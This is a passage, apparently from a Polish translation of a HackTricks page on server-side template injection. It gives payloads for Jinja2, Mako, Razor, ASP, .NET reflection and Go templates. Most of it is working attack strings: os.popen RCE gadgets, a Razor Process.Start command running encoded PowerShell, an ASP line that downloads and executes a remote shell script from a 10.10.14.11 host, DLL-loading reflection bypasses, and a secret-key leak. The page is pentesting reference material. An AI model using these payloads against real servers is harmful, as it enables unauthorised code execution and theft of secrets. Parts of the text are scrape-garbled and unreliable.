  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format szablonu

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE not dependant from __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Więcej informacji o tym, jak nadużywać Jinja:

Jinja2 SSTI

Inne payloady w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Więcej informacji

Inne (Python)

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Metoda .NET System.Diagnostics.Process.Start może być użyta do uruchomienia dowolnego procesu na serwerze i tym samym stworzenia webshella. Przykładową podatną aplikację webową znajdziesz w https://github.com/cnotin/RazorVulnerableApp

Więcej informacji

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Więcej informacji

  • https://www.w3schools.com/asp/asp_examples.asp

.Net Omijanie ograniczeń

Mechanizmy .NET Reflection można wykorzystać do obejścia blacklisting lub braku klas w assembly. DLL’s mogą być ładowane w czasie wykonywania z metodami i właściwościami dostępnymi z podstawowych obiektów.

Dll’s mogą być ładowane za pomocą:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - z systemu plików.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - bezpośrednio z żądania.

Pełne wykonanie polecenia:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Więcej informacji

Mojolicious (Perl)

Nawet jeśli to perl, używa znaczników takich jak ERB w Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

W silniku szablonów Go potwierdzenie jego użycia można uzyskać za pomocą konkretnych payloadów:

  • {{ . }}: Ujawnia strukturę danych wejściowych. Na przykład, jeśli przekazany obiekt ma atrybut Password, {{ .Password }} może go ujawnić.
  • {{printf "%s" "ssti" }}: Oczekuje się, że wyświetli string “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Te payloady powinny zwrócić “ssti” bez dołączania “html” lub “js”. Dalsze dyrektywy można znaleźć w dokumentacji Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

W przypadku pakietu text/template, XSS może być proste poprzez bezpośrednie wstawienie payloadu. Natomiast pakiet html/template koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}} daje &lt;script&gt;alert(1)&lt;/script&gt;). Niemniej jednak definicja i wywołanie szablonu w Go może obejść to kodowanie: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE Exploitation różni się znacząco między html/template a text/template. Moduł text/template pozwala na wywoływanie dowolnej funkcji publicznej bezpośrednio (używając wartości “call”), czego nie pozwala html/template. Dokumentacja dla tych modułów jest dostępna here for html/template i here for text/template.

Dla RCE przez SSTI w Go można wywoływać metody obiektów. Na przykład, jeśli przekazany obiekt posiada metodę System wykonującą polecenia, można ją wykorzystać jak {{ .System "ls" }}. Zwykle konieczny jest dostęp do źródeł, aby to wykorzystać, jak w podanym przykładzie:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Więcej informacji

LESS (CSS Preprocessor)

LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful @import directive. During compilation the LESS engine will fetch the resources referenced in @import statements and embed (“inline”) their contents into the resulting CSS when the (inline) option is used.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Możesz też znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Powiązana pomoc

Jeśli uważasz, że to może być przydatne, przeczytaj:

Narzędzia

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks